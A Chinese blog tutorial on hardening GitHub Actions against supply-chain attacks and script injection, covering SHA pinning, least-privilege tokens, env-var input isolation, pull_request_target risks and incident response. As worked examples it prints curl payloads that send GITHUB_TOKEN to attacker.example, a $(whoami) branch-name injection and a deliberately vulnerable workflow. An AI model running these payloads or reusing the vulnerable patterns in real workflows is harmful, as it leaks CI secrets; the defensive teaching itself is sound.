GitHub Actions安全加固:应对供应链攻击与脚本注入
大概去年夏天一个朋友半夜给我发来告警截图CI日志里赫然打印着云厂商的临时凭证而这些凭证来自一个第三方Action的“更新”。查到最后问题不在代码逻辑而是workflow用了可变tag、没有最小权限同时把PR标题直接拼进了run命令。那是第一次让我意识到GitHub Actions安全加固不是锦上添花而是供应链攻击面前最基本的防线。今天想聊的核心就两条线供应链攻击和脚本注入。GitHub Actions安全加固的目标不是把自动化锁死而是在便利和安全边界之间找到平衡。这篇文章适合所有在GitHub上跑CI/CD、负责仓库安全或者想搞懂Actions攻击原理的开发者。1. GitHub Actions为什么会成为供应链攻击的靶子GitHub Actions在软件供应链里的位置非常特殊它既是代码检查、构建、发布的入口也是把源码变成产物的“加工厂”。如果这个加工厂被攻破攻击者拿到的不是一个测试环境而是整个交付链路中最接近生产的一环。和传统的“依赖投毒”不同Actions攻击往往发生在流水线本身——你的workflow文件里引用的每一段第三方代码、运行前下载的每一个工具、甚至一个被恶意构造的issue评论都可能是入口。在项目里大多数人会把安全重心放在两个地方代码漏洞和依赖漏洞。前者靠CodeQL、代码审计后者靠Dependabot、SCA工具。但Actions这条线经常被忽略因为它藏在YAML里看起来只是“自动化脚本”。实际上Actions的安全问题比很多业务代码更容易放大一个workflow默认拥有GITHUB_TOKEN这个token能读能写仓库runner环境里有所有secrets的环境变量第三方Action的代码就在你的runner上执行。三者叠加就是一个面向供应链攻击的“大礼包”。1.1 供应链攻击的本质从依赖混淆到Action投毒我把常见攻击路径整理成了一张表方便对照攻击方式入口点典型危害依赖混淆构建过程中拉取包依赖恶意代码进入构建产物Action投毒第三方Action仓库被恶意维护者掌控窃取secrets、篡改发布流程脚本注入PR标题、issue评论、分支名等事件数据runner上执行任意命令Runner失陷自托管runner未隔离且权限过大横向移动到内部网络依赖混淆大家比较熟攻击者把同名恶意包发到公开仓库比你的私有包版本号更高构建时拉错包。Action投毒则是更“GitHub原生化”的玩法攻击者可能通过社工、账号接管或妥协某个流行Action的维护者更新一个tag对应的代码所有引用v4这种可变tag的项目下次构建时就会自动拉到恶意版本。这也是为什么“锁版本”在Actions里比其他依赖管理更紧迫。1.2 一个Workflow被攻破后能造成什么损失不妨推演一条真实感染链一个项目使用issue_comment事件任何人在issue里评论都会触发一个自动化流程流程里没有过滤评论内容直接把评论拼进run命令。攻击者发一条恶意评论评论内部的shell命令被执行拿到了GITHUB_TOKEN。这个token如果拥有contents: write权限攻击者就可以向main分支推送代码如果仓库设置了自动发布恶意代码会被打包成release产物。整个过程只需要一条评论不需要任何代码仓库的写权限。更隐蔽的变体是自托管runner。很多人为了构建速度把runner部署在服务器上给它挂了一堆机器角色权限。一旦workflow被注入攻击攻击者可以在runner上植入持久化后门之后每次构建都是为对手打工。所以说Actions安全不是“防御一个脚本注入”这么简单它本质上是在保护整个软件交付的可信边界。2. 脚本注入漏洞原理、触发链路与真实案例脚本注入是Actions里最容易被忽视、也最容易出事的漏洞。它的根因一句话就能说清用户可控的数据被拼进了shell命令字符串。GitHub Actions提供了${{ }}表达式语法工作流在启动时会把表达式替换成对应的值这个替换发生在shell执行之前。如果替换的内容包含shell元字符比如反引号、$()、分号、引号shell就会把这些元字符当成命令语法去解析。很多人第一次看到这个漏洞会问“GitHub不是做了上下文插值的处理吗”实际上上下文插值只是把数据塞进字符串它不做任何shell转义。GitHub官方文档也写了不要把${{ }}直接用于run除非你非常确定数据来源可信。但在真实项目里直接拼接github.event.*的情况太普遍了。2.1 一条命令是如何被注入的直接拼接链路我们看一个最经典的Error示例name: demo on: issue_comment: types: [created] jobs: echo: runs-on: ubuntu-latest steps: - run: | echo 评论内容${{ github.event.comment.body }}攻击者把评论内容设置为foo; curl -X POST -d token$GITHUB_TOKEN https://attacker.example/capture; echo GitHub Actions先把${{ github.event.comment.body }}替换成上面的字符串此时run实际变成echo 评论内容foo; curl -X POST -d token$GITHUB_TOKEN https://attacker.example/capture; echo 注意替换发生在shell启动之前但shell启动后还会解析$GITHUB_TOKEN和环境变量。于是curl命令执行token被外带。攻击者甚至不需要看到日志只需要在自己的服务器上接收POST请求即可。2.2 更隐蔽的间接注入文件、脚本与第三方Action直接拼接很容易被规则扫描发现但间接注入就麻烦很多。举几个我在真实代码里遇到过的场景某个步骤把issue内容写入文件下游步骤直接source这个文件或执行它。即使写入时没有执行shellsource会把文件中每一行都当成命令解析。某个Action从PR读取输入最终通过run: node script.js ${{ github.event... }}调用脚本参数里的引号和换行会破坏原脚本的参数解析逻辑。把不可信内容放到环境变量里看起来安全但后续shell代码写了eval $VAR或bash -c $VAR所有防护瞬间白费。还有一种不太是“脚本注入”、但危害类似的模板注入在github-script这类Action里如果通过字符串拼接把context数据插入JavaScript代码攻击者可以提前闭合引号执行任意JS。github-script本来是把数据放在context对象里安全访问的但如果有人非要eval(let x context.payload.comment.body )那问题就回来了。2.3 真实案例复盘一个issue评论引发的越权推送有一次红队演练我虚构了一个和很多开源项目相似的结构仓库里有on: pull_request_target流程目的是给PR自动打标签。workflow里用actions/github-script读取PR编号然后调用了仓库里的一个脚本脚本内部执行了git merge $PR_BRANCH。由于pull_request_target在基础仓库的context下运行并且拥有写权限攻击者在PR分支里创建一个名为恶意分支名的分支分支名包含$(whoami)或者更恶意的命令同时PR title包含printf payload最终脚本把分支名拼进git命令并执行了shell。这个过程没有改任何仓库主分支的代码但却执行了任意命令。复盘时会发现问题叠加了三件事第一不应该使用pull_request_target并允许它访问secrets第二仓库脚本没有把外部输入当不可信数据第三权限太大一个本应只读的自动化流程给了写权限。大多数脚本注入事故都不是因为单一漏洞而是“不可信输入 命令拼接 权限过大”的组合。3. 六个必做的加固动作从工作流到组织设置清楚了原理接下来就是落地。我把自己在多个仓库上的加固实践整理成六件事从workflow文件本身到组织设置都覆盖到建议按顺序执行。3.1 锁定Action版本从tag固定到commit SHA第一件事把workflow里所有uses: xxxv4、uses: xxxmain改成固定commit SHA。原因很简单tag可以被维护者或入侵者移动main分支随时在变。固定SHA之后除非你主动修改否则Action的代码永远不会变。GitHub官方也推荐使用SHA引用但会有一个体验问题commit SHA不容易记所以习惯上在行尾加个注释写上人类可读的版本号。- uses: actions/checkoutb4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1更新版本时不要直接改tag而是去上游仓库跑一次git ls-remote把新的目标tag SHA查到替换后再跑一遍完整测试。像Renovate这类工具也会自动帮你升级但需要配置好commit SHA模式。3.2 permissions与GITHUB_TOKEN最小权限落地方案workflow默认的GITHUB_TOKEN权限比你想象的大得多尤其是在公开仓库里。不设permissions时token在仓库上有contents: write、pull_requests: write等一堆权限。把这层权限直接压到最低是最快见效的加固动作。在workflow文件根部加permissions: contents: read issues: read只需要读取时就让contents只读需要写release时再在那个job里单独覆盖jobs: release: permissions: contents: write这样即使token被脚本注入外带攻击者能做的事情也有限。记住一个原则每个job、每个step只给它完成工作所必需的最小权限。不要统一给一个大而全的token让所有步骤共用。3.3 不可信输入隔离环境变量与脚本化改造处理不可信输入的核心思路是数据永远作为值传递不进入命令字符串。最简单有效的做法是用环境变量桥接- run: | echo 处理用户$USER_LOGIN printf %s $COMMENT_BODY comment.txt env: USER_LOGIN: ${{ github.event.comment.user.login }} COMMENT_BODY: ${{ github.event.comment.body }}环境变量里的值无论包含什么特殊字符在bash里都只是变量内容不会触发第二次命令解析。但你需要注意两点一是后续shell代码不要对变量使用eval或bash -c $VAR二是如果这个变量最终在双引号内作为参数传给其他程序也依然安全。纯数据场景下这种方案是足够的。如果需要在脚本里做更复杂的逻辑、访问context属性、调用GitHub API我更推荐用actions/github-script因为它的脚本运行在Node.js进程里数据通过context对象访问完全不经过shell- uses: actions/github-script7593a0c8e2a2b78f889b9193754e20b1a1e021e2 # v7.0.0 with: script: | const fs require(fs); fs.appendFileSync(comment.txt, ${context.payload.comment.body}\n);3.4 pull_request_target最大的后门窗口pull_request_target是Actions里最容易埋雷的事件。它在基础分支的context下运行默认拥有secrets访问权限但它触发的数据来自一个可能完全不受信任的PR。如果你在workflow里写了pull_request_target然后还checkout了PR head分支的代码并执行里面的脚本等于把库房钥匙交给了随机路人。如果确实需要处理PR元数据、给PR打标签或评论那么只允许访问元数据不要checkout PR代码也不要run来自PR的文件。一个相对安全的模板是on: pull_request_target permissions: issues: write pull-requests: write jobs: handle: runs-on: ubuntu-latest steps: - uses: actions/github-script7593a0c8e2a2b78f889b9193754e20b1a1e021e2 with: script: | # 只处理context.payload不执行仓库文件 console.log(context.payload.pull_request.title)只要不执行来自PR的代码窗口就会小很多。如果流程里必须构建PR代码请使用默认的pull_request事件并接受它无法访问secrets的限制。3.5 secrets与环境保护给高风险作业加一把锁secrets本身也可以通过设计来降低风险。不要把生产环境的secrets放在workflow全局作用域尽量使用环境隔离。GitHub的Environment功能允许你定义production环境只有指定分支或经过审批的流程才能访问这个环境里的secrets。jobs: deploy: runs-on: ubuntu-latest environment: production steps: - run: echo $API_KEY config.json env: API_KEY: ${{ secrets.PROD_API_KEY }}配合Environment Protection Rule可以要求特定角色审批后才能运行或者设置等待超时。这样即便某个workflow被注入攻击攻击者拿到的也只是低权限secrets真正的生产密钥还在审批闸门后面。更进一步如果云平台支持OIDC建议直接用GitHub OIDC token换短时云凭证彻底替代静态secrets。这样仓库里没有长期密钥可偷泄露面一下就没了。3.6 自动化审计让Dependabot和CodeQL帮你盯梢安全不只是一次配置而是需要持续维护。我会在自己的仓库里启用Dependabot对GitHub Actions的版本更新提醒同时加一个CodeQL扫描workflow的规则。Dependabot能发现旧版本Action的安全通告并建议升级到修复版本CodeQL则能对仓库代码做进一步分析包括一些明显的不安全字符串拼接模式。提交PR强制要求这些检查通过这样任何workflow改动在合入前就会暴露问题。此外本地静态检查也值得纳入开发流程。最常用的工具是actionlint它能在不跑workflow的情况下发现YAML语法错误、表达式拼写错误。配合shellcheck检查所有run里出现的shell脚本能提前治好大多数“看着能跑、一攻就穿”的老毛病。4. 实战从一份风险Workflow到加固后的完整流程理论说了一堆不如直接上一份前后对比。我拿一个非常典型的“自动部署流程”当例子任何人往issue发出评论就会触发一个构建部署。这类流程在团队协作里很常出现但一旦被注入攻击后果很难收拾。4.1 风险版本几乎没做任何过滤的workflowname: Auto Deploy on: issue_comment: types: [created] jobs: deploy: runs-on: ubuntu-latest steps: - uses: actions/checkoutv4 - run: | echo ${{ github.event.comment.body }} comments.log - run: | ./deploy.sh ${{ github.event.comment.body }}这个版本有四个明显问题一是actions/checkoutv4这种可变tag上游随时可能被改二是没有设置permissionsGITHUB_TOKEN默认拥有仓库写权限三是评论内容被直接拼进echo和shell命令注入很容易成功四是secrets暴露在全局环境里部署job能访问到所有仓库secrets。攻击者只需要把评论写成x; curl ...; echo 就能把这台runner变成自己的跳板机。4.2 加固版本从权限到输入全部收口写好加固版本我逐个说明每一行的目的。name: Auto Deploy on: issue_comment: types: [created] permissions: contents: read jobs: deploy: runs-on: ubuntu-latest environment: production steps: - name: Checkout pinned SHA uses: actions/checkoutb4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1 - name: Persist comment safely uses: actions/github-script7593a0c8e2a2b78f889b9193754e20b1a1e021e2 # v7.0.0 with: script: | const fs require(fs); fs.appendFileSync(comments.log, ${context.payload.comment.body}\n); - name: Validate and deploy run: | ./deploy.sh $COMMENT_BODY env: COMMENT_BODY: ${{ github.event.comment.body }}第一处permissions: contents: read把默认token压到只读即使注入攻击者也无法直接往仓库推代码。第二处checkout锁定了commit SHA杜绝tag被改的问题。第三处评论内容通过github-script写入文件不经过shell彻底切断命令注入链路。第四处部署脚本的参数通过环境变量传入并在双引号里引用既保留了评论内容传给脚本的能力又不会让内容被shell重新解析。这里有个细节需要注意./deploy.sh $COMMENT_BODY中的$COMMENT_BODY是环境变量它的值来自${{ github.event.comment.body }}。由于GitHub Actions在解析环境变量时已经完成了表达式替换shell拿到的是一个固定值不会再因为内容里的$(...)而触发命令。这是我认为“投入产出比”最高的一处改动。4.3 本地模拟攻击act与恶意payload测试加固做完不是看一眼就觉得安全了需要实际验证。我习惯用本地工具模拟一次注入攻击。安装并运行actact -j deploy -e malicious-payload.jsonmalicious-payload.json可以这样构造{ issue: { body: try-inject\; curl -X POST -d \token$GITHUB_TOKEN\ https://attacker.example/capture; echo \ } }运行后会看到加固后的workflow把整段评论内容原样写入了日志文件但不会发起任何外部请求。而同样的payload放到风险workflow里日志会多出一条curl执行记录。这个测试强烈建议在每次改动workflow后跑一遍尤其是涉及外部输入的时候。5. 进阶组织级安全策略与应急响应清单工程里的安全不能只靠开发者自己“自觉”组织级设好边界个人踩坑的概率才会真正降下来。很多团队等到出过一次事才开始做组织级治理但提前配置其实并不复杂。5.1 组织级规则允许列表与OIDC替代密钥在GitHub组织或企业设置里Actions默认是“允许所有actions”这非常危险。建议改成只允许经过信任的Marketplace创作者或指定的第三方仓库。路径通常在Settings - Actions - General - Actions permissions选Allow specified actions然后把你内部审查过的action仓库列表放进去。这样即使内部某个workflow误引用了一个从未见过的actionGitHub也会直接拒绝运行。另一项组织级优化是把云平台密钥尽量换成OIDC联邦身份。GitHub Actions每次构建都会生成一个短暂的OIDC token云平台通过验证这个token的受众和仓库身份签发临时的云凭证。仓库里不再保存任何长期密钥。我实测这个方案后仓库secrets面板几乎空了——泄露面少了审计也简单。5.2 应急响应从发现异常到恢复生产无论防护做得多好总有可能出现意外。我把应急动作按执行顺序贴出来遇到可疑行为时照着做立即撤销暴露的secrets与token。在GitHub仓库的secrets设置里删除或更新所有可能被访问到的密钥同时在云厂商控制台吊销对应密钥/临时凭证。暂停workflow运行。仓库或组织设置里把Actions临时禁用或者把触发规则改为需要人工批准。审计日志回溯。打开Settings - Security log或组织audit log筛选workflows相关事件看看异常时间段有哪些token调用、权限变更、artifact上传。重建runner。如果用了自托管runner立即销毁并重新创建运行中可能已经被植入持久化脚本。托管runnerGitHub-hosted每次任务都会从干净环境启动不需要重建。检查代码库历史。看看有没有意想不到的commit、release或分支push。GITHUB_TOKEN如果拿到写权限可能已经改过文件。review第三方Action及lockfile。确认是否有action更新到可疑版本并把所有workflow引用切换回固定的安全commit SHA。走完这套流程再根据审计结论更新加固策略而不是急着恢复业务跑回去继续“裸奔”。我个人在实际操作中的体会是GitHub Actions最危险的地方是它的灵活性让所有人误以为自己只是写了几行“无伤大雅”的自动化脚本。但只要你在workflow里碰过外部输入你就进入了安全战场。上面这些方法并不复杂难的是每次写新流程时都要习惯性地问一句这里的数据可信吗这里的权限能给得更小吗答完这两个问题大部分Actions安全问题都不会真正找上你。

相关新闻

VMware虚拟机鼠标丢失:从成因到修复的完整指南

VMware虚拟机鼠标丢失:从成因到修复的完整指南

用过 VMware 的朋友,十有八九都撞到过鼠标突然"消失"这个鬼问题:虚拟机正在跑着,前一秒还好好的,后一秒光标直接没了,整个虚拟机就跟死机了一样,实际上系统还能动,就是点不了。更坑的…

2026/10/9 5:57:56 阅读更多 →
花店系统|基于java+ vue花店系统(源码+数据库+文档)

花店系统|基于java+ vue花店系统(源码+数据库+文档)

花店系统 目录 基于springboot vue花店系统 一、前言 二、系统功能演示 三、技术选型 四、其他项目参考 五、代码参考 六、测试参考 七、最新计算机毕设选题推荐 八、源码获取: 基于springboot vue花店系统 一、前言 博主介绍:✌️大厂码农|…

2026/10/9 5:57:56 阅读更多 →
Flutter 资源库鸿蒙化适配实战:从白屏到稳定

Flutter 资源库鸿蒙化适配实战:从白屏到稳定

上个月我把一个基于 Flutter 的跨端应用打包到鸿蒙设备上做灰度,结果首日就收到一堆启动白屏反馈。日志里反复出现Unable to load asset,我一开始怀疑是打包配置问题,查到最后才发现,问题出在我一直依赖的那个资源抽象加载库resou…

2026/10/9 5:56:56 阅读更多 →

最新新闻

日期处理陷阱:从1月25日看时区与历法边界

日期处理陷阱:从1月25日看时区与历法边界

我很少拿一个日期当文章标题,但1月25日这个数字,我记了快一整年。不是因为它特殊——公历里它既不是节日也不算节气,每年对应的星期几、农历日子完全不一样。正因为它"每天都在变、又好像什么都没变",才在交付前一周把我…

2026/10/9 7:01:47 阅读更多 →
别急着定标题:把零散素材盘成完整内容的方法论

别急着定标题:把零散素材盘成完整内容的方法论

手头堆积了一大捧碎料子,没想好叫什么题目,也没想清楚要从哪儿下刀的时候,我就干过最蠢的一件事:硬着头皮挑一个看起来“最像样”的碎片开始写,指望写着写着思路自己就通了。结果写了两千字,发现方向偏了&a…

2026/10/9 7:01:47 阅读更多 →
强化学习训练看板:从指标监控到产线决策中枢

强化学习训练看板:从指标监控到产线决策中枢

1. 这不是“监控页面”,而是一张RL训练的作战地图你打开浏览器,输入地址,看到一个带折线图、柱状图和实时刷新数字的网页——它叫“MiMo-v2.6 RL 训练看板”。但如果你只把它当成一个“看看loss降没降”的仪表盘,那等于拿着战术平…

2026/10/9 7:01:47 阅读更多 →
降AI率工具横评:8款AI改写与检测工具的实战避坑指南

降AI率工具横评:8款AI改写与检测工具的实战避坑指南

前两天有个专科大三的学弟给我发来一张截图:期末课程论文用AI起稿,写完还挺顺手,结果拿去检测平台一测,AI疑似率35%。他当场懵了,“老师一眼就能看出来这不是我写的”。这种“AI写得爽,检测全露馅”的情况&…

2026/10/9 7:01:47 阅读更多 →
基于Spring Boot+MyBatis的汽车租赁管理系统设计与实现

基于Spring Boot+MyBatis的汽车租赁管理系统设计与实现

做毕设辅导这些年,看到汽车租赁管理系统这个题目几乎是“常青树”一般的存在。每年都有学生选它,原因不难理解:车辆、用户、订单、租金这几样核心对象,正好把增删改查练透,又比图书管理多了一层业务状态流转&#xff0…

2026/10/9 7:01:47 阅读更多 →
浏览器扩展端侧AI推理:WebGPU+ONNX Runtime实战架构

浏览器扩展端侧AI推理:WebGPU+ONNX Runtime实战架构

1. 这不是“把模型塞进浏览器”那么简单:端侧AI在扩展环境里的真实战场“现代浏览器扩展环境下的端侧 AI 推理系统架构与工程实现规范”——这个标题里没有一个词是虚的,每个字都踩在当下前端工程最硬的几块石头上。我从去年开始带团队落地三个真实商用级…

2026/10/9 7:00:47 阅读更多 →

日新闻

Java时间API实战:LocalDate、Date与ZonedDateTime的转换与避坑指南

Java时间API实战:LocalDate、Date与ZonedDateTime的转换与避坑指南

Java时间API这个话题,隔三差五就会在群里被翻出来讨论一次。上周还有个同事线上处理一个订单超时问题,排查到最后发现是ZonedDateTime序列化后时区丢了,用户在下单当天晚上看到的时间整整差了8个小时。这类问题几乎每个做Java开发的人都遇到过…

2026/10/9 0:00:49 阅读更多 →
EasyTier实践:从NAT穿透到子网代理的异地组网部署与排错

EasyTier实践:从NAT穿透到子网代理的异地组网部署与排错

前几个月我手头有好几台机器需要互相访问:办公室台式机、家里 NAS、还有一台云主机。如果只是偶尔传个文件倒还好,问题是工作场景经常要在几处环境之间来回切换,每次都先登录跳板机再层层代理,实在折腾。我先后试过端口映射、自建…

2026/10/9 0:00:49 阅读更多 →
AI Agent工程实战:从七要素到七个决策点的系统设计指南

AI Agent工程实战:从七要素到七个决策点的系统设计指南

AI Agent 这个词在过去一年里被反复提及,但真正动手搭过一套能跑起来的 Agent 系统的人都知道,从"知道它是什么"到"让它稳定干活"之间隔着一整套工程决策。我前后参与过几个 Agent 项目的落地,从最初用现成框架拼装&…

2026/10/9 0:01:50 阅读更多 →

周新闻

KT148A语音芯片外挂8002D功放的工程实践指南

KT148A语音芯片外挂8002D功放的工程实践指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/8 15:26:32 阅读更多 →
LLC谐振变换器增益公式推导:从FHA等效到完整归一化表达式

LLC谐振变换器增益公式推导:从FHA等效到完整归一化表达式

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/8 15:26:40 阅读更多 →
ARM架构深度解析:从RISC设计理念到交叉编译实战

ARM架构深度解析:从RISC设计理念到交叉编译实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/8 10:10:36 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/8 21:13:17 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/8 15:26:17 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/9 6:17:20 阅读更多 →